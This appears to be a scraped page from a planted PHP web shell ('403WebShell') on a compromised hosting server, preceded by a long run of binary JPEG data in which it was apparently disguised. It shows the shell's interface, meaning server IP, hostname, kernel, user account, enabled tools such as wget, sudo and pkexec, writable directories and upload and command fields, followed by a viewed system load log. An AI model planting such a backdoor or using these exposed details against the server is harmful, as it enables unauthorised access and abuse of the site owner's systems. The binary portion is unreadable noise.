JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 173.199.190.172  /  Your IP : 216.73.216.167
Web Server : Apache
System : Linux chs1.nescrow.com.ng 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : oysipaoygov ( 1026)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/log/loadwatch/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/log/loadwatch/2025-11-17.04.00.txt
 ## swap threshold exceeded
## server overview
2025-11-17.04.00 load[0] mem[72/63] mysql[3/25] httpd[24]
              total        used        free      shared  buff/cache   available
Mem:           2363        1656          69          10         638         537
Swap:          1999        1417         582
 04:00:02 up  4:41,  0 users,  load average: 0.42, 0.70, 0.75
## system overview
top - 04:00:02 up  4:41,  0 users,  load average: 0.42, 0.70, 0.75
Tasks: 236 total,   4 running, 231 sleeping,   0 stopped,   1 zombie
%Cpu(s): 65.6 us, 25.0 sy,  6.2 ni,  0.0 id,  3.1 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  2420300 total,    78908 free,  1695140 used,   646252 buff/cache
KiB Swap:  2047996 total,   595504 free,  1452492 used.   551484 avail Mem 

   PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
  2639 mysql     20   0 1468028 253352   4544 S 100.0 10.5   3:52.15 /usr/sbin+
 43486 nigeria   20   0  404052  16140  10384 S  12.5  0.7   0:00.04 /opt/cpan+
     1 root      20   0   44400   3176   1424 S   6.2  0.1   0:22.74 /usr/lib/+
 43425 root      20   0 1276060  10708    600 S   6.2  0.4   0:00.06 /usr/bin/+
 43454 root      20   0 1277356  12008    600 S   6.2  0.5   0:00.06 /usr/bin/+
 43582 root      35  15  140756   5828   2852 R   6.2  0.2   0:00.01 /usr/loca+
     2 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kthreadd]
     4 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
     6 root      20   0       0      0      0 S   0.0  0.0   0:01.18 [ksoftirq+
     7 root      rt   0       0      0      0 S   0.0  0.0   0:00.96 [migratio+
     8 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [rcu_bh]
     9 root      20   0       0      0      0 S   0.0  0.0   0:18.40 [rcu_sche+
    10 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [lru-add-+
    11 root      rt   0       0      0      0 S   0.0  0.0   0:00.04 [watchdog+
    12 root      rt   0       0      0      0 S   0.0  0.0   0:00.04 [watchdog+
    13 root      rt   0       0      0      0 S   0.0  0.0   0:00.94 [migratio+
    14 root      20   0       0      0      0 S   0.0  0.0   0:03.36 [ksoftirq+
    16 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
    18 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kdevtmpf+
    19 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [netns]
    20 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [khungtas+
    21 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [writebac+
    22 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kintegri+
    23 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    24 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    25 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    26 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kblockd]
    27 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [md]
    28 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [edac-pol+
    29 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [watchdog+
    36 root      20   0       0      0      0 S   0.0  0.0   0:46.85 [kswapd0]
    37 root      25   5       0      0      0 S   0.0  0.0   0:00.00 [ksmd]
    38 root      39  19       0      0      0 S   0.0  0.0   0:00.02 [khugepag+
    39 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [crypto]
    47 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kthrotld]
    49 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kmpath_r+
    50 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kaluad]
    51 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kpsmouse+
    52 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ipv6_add+
    65 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [deferwq]
   100 root      20   0       0      0      0 S   0.0  0.0   0:00.35 [kauditd]
   229 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ata_sff]
   240 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   243 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   244 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   246 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   248 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ttm_swap]
   258 root       0 -20       0      0      0 S   0.0  0.0   0:04.17 [kworker/+
   263 root       0 -20       0      0      0 S   0.0  0.0   0:03.30 [kworker/+
   274 root      20   0       0      0      0 S   0.0  0.0   0:01.03 [jbd2/vda+
   275 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   355 root      20   0   39500   5200   5036 S   0.0  0.2   0:09.35 /usr/lib/+
   376 root      20   0   45376      8      4 S   0.0  0.0   0:00.33 /usr/lib/+
   407 root      16  -4   55532    212     96 S   0.0  0.0   0:01.45 /sbin/aud+
   412 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [rpciod]
   413 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [xprtiod]
   470 root      20   0  152780     60     32 S   0.0  0.0   0:00.01 /usr/sbin+
   475 polkitd   20   0  612240    980    624 S   0.0  0.0   0:02.38 /usr/lib/+
   476 root      20   0   24716   1140    792 S   0.0  0.0   0:03.99 /usr/lib/+
   483 root      20   0   21540    348    260 S   0.0  0.0   0:00.37 /usr/sbin+
   484 rpc       20   0   69256      4      0 S   0.0  0.0   0:00.02 /sbin/rpc+
   485 root      20   0   52852    320    220 S   0.0  0.0   0:00.01 /usr/sbin+
   492 dbus      20   0   58700   1340    600 S   0.0  0.1   0:09.11 /usr/bin/+
   494 root      20   0  195208      0      0 S   0.0  0.0   0:00.00 /usr/sbin+
   502 nscd      20   0  994492   1384    700 S   0.0  0.1   0:16.30 /usr/sbin+
   515 root      20   0    4388      4      0 S   0.0  0.0   0:00.00 /usr/sbin+
   519 root      20   0  224148   2996    712 S   0.0  0.1   0:00.26 queueproc+
   545 root      20   0  124480    424    292 S   0.0  0.0   0:00.49 /usr/sbin+
   546 root      20   0   24208      4      0 S   0.0  0.0   0:00.00 /usr/sbin+
   555 root      20   0  114704      0      0 S   0.0  0.0   0:00.02 /bin/bash
   556 root      20   0  108296      4      0 S   0.0  0.0   0:00.00 /sbin/age+
   625 mailnull  20   0   89120    440    292 S   0.0  0.0   0:00.30 /usr/sbin+
   646 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kvm-irqf+
   672 root       0 -20       0      0      0 S   0.0  0.0   0:03.67 [loop0]
   726 root      20   0       0      0      0 S   0.0  0.0   0:00.04 [jbd2/loo+
   727 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   911 root      20   0  111304    356    256 S   0.0  0.0   0:02.10 /usr/sbin+
   912 systuser  20   0  113016     32      0 S   0.0  0.0   0:00.01 /usr/loca+
   917 root      20   0  265552   4012   3560 S   0.0  0.2   0:04.74 /usr/sbin+
   918 named     20   0 1185864  29676   1672 S   0.0  1.2   0:11.30 /usr/sbin+
   919 root      20   0 1828136 573304    136 S   0.0 23.7   0:35.39 /usr/loca+
   924 systuser  20   0   10388      8      0 S   0.0  0.0   0:00.01 /usr/loca+
   925 root      20   0   51508    456    292 S   0.0  0.0   0:00.22 /usr/sbin+
   926 root      20   0  572372    784    320 S   0.0  0.0   0:01.55 /usr/bin/+
   928 root      20   0  445028    588    480 S   0.0  0.0   0:00.66 sw-engine+
   937 root      20   0  439788    380    288 S   0.0  0.0   0:00.72 php-fpm: +
   938 systuser  20   0  114016  13540   2660 S   0.0  0.6   0:04.18 /usr/loca+
   939 root      20   0  261296   6348   1736 S   0.0  0.3   0:03.84 cpsrvd (S+
   943 root      20   0 1277312   3688      8 S   0.0  0.2   0:20.28 /usr/bin/+
   944 root      20   0 1276356   6480      4 S   0.0  0.3   0:24.88 /usr/bin/+
   947 cpanelc+  20   0   10416   3312   2300 S   0.0  0.1   0:14.30 /usr/loca+
   952 root      20   0  396248    232    152 S   0.0  0.0   0:00.64 php-fpm: +
   957 root      20   0  388892    428    332 S   0.0  0.0   0:00.64 php-fpm: +
   962 systuser  20   0   14068     36      0 S   0.0  0.0   0:00.01 /usr/loca+
   963 telegraf  20   0 5654048  36108   5756 S   0.0  1.5   0:09.72 /usr/loca+
   964 root      20   0  153404    220    136 S   0.0  0.0   0:00.35 pure-ftpd+
   967 root      20   0  400740    760    592 S   0.0  0.0   0:02.87 php-fpm: +
   968 systuser  20   0  112524     32      0 S   0.0  0.0   0:00.01 /usr/loca+
   969 memcach+  20   0  342400      0      0 S   0.0  0.0   0:00.37 /usr/bin/+
   974 root      20   0  389508    308    224 S   0.0  0.0   0:00.60 php-fpm: +
  1080 dovenull  20   0   46912    724    468 S   0.0  0.0   0:00.26 dovecot/p+
  1081 dovenull  20   0   47608   2416   1608 S   0.0  0.1   0:00.12 dovecot/i+
  1082 dovecot   20   0   10320    292    200 S   0.0  0.0   0:00.03 dovecot/a+
  1083 root      20   0   10452    604    436 S   0.0  0.0   0:00.18 dovecot/l+
  1084 dovenull  20   0   46984    808    548 S   0.0  0.0   0:00.31 dovecot/p+
  1085 dovenull  20   0   47564   2520   1708 S   0.0  0.1   0:00.12 dovecot/i+
  1091 root      20   0   24528   2124    480 S   0.0  0.1   0:00.12 dovecot/c+
  1095 dovecot   20   0   13568    624    448 S   0.0  0.0   0:00.04 dovecot/s+
  1123 root      20   0  248032   3580    720 S   0.0  0.1   0:04.87 /usr/loca+
  1160 dovecot   20   0   41160   1432    996 S   0.0  0.1   0:00.36 dovecot/a+
  1168 systuser  20   0  157704   2968   1008 S   0.0  0.1   0:00.09 SonarPush+
  1176 wp-tool+  20   0  387556   2656   1316 S   0.0  0.1   0:00.23 /usr/bin/+
  1177 wp-tool+  20   0  412368   8948   1184 S   0.0  0.4   0:05.64 /usr/bin/+
  1211 root      20   0  209308   7436   1592 S   0.0  0.3   0:01.92 tailwatchd
  1213 root      20   0  262224  24492   6572 S   0.0  1.0   0:00.99 cpdavd - +
  1216 root      20   0  167452   1204    644 S   0.0  0.0   0:00.39 dnsadmin +
  1627 root      20   0  299272    392    232 S   0.0  0.0   0:00.47 php-fpm: +
  1673 root      38  18  130416   1340    684 S   0.0  0.1   0:00.04 cpanellog+
  1928 root      20   0  266984   4956    468 S   0.0  0.2   0:02.11 /usr/sbin+
  1932 root      20   0   12844    324    212 S   0.0  0.0   0:02.21 /usr/loca+
  1933 root      20   0   12732    260    180 S   0.0  0.0   0:01.92 /usr/loca+
  1934 root      20   0   12888    332    216 S   0.0  0.0   0:02.08 /usr/loca+
  1939 root      20   0   53256      4      4 S   0.0  0.0   0:00.04 /usr/loca+
  4229 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
  8393 root      20   0  266004  45076   1128 S   0.0  1.9   0:03.93 spamd chi+
  8394 root      20   0  248032   2112    376 S   0.0  0.1   0:00.00 spamd chi+
 10515 root      30  10  132964   2804      0 S   0.0  0.1   0:00.00 ConfigSer+
 10528 root      30  10  108056     28      0 S   0.0  0.0   0:00.00 sleep 161+
 15866 root      20   0       0      0      0 S   0.0  0.0   0:00.07 [kworker/+
 23411 nobody    20   0  277844  12232   4692 S   0.0  0.5   0:01.89 /usr/sbin+
 25641 nobody    20   0  277876  18012   4808 S   0.0  0.7   0:01.91 /usr/sbin+
 25806 nobody    20   0  277616  18308   4608 S   0.0  0.8   0:02.03 /usr/sbin+
 28007 root      20   0       0      0      0 S   0.0  0.0   0:00.02 [kworker/+
 28078 nobody    20   0  277820  19968   4800 S   0.0  0.8   0:01.55 /usr/sbin+
 29075 nobody    20   0  277740  20160   5104 S   0.0  0.8   0:01.34 /usr/sbin+
 29723 nobody    20   0  277816  19860   4812 S   0.0  0.8   0:01.40 /usr/sbin+
 30014 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
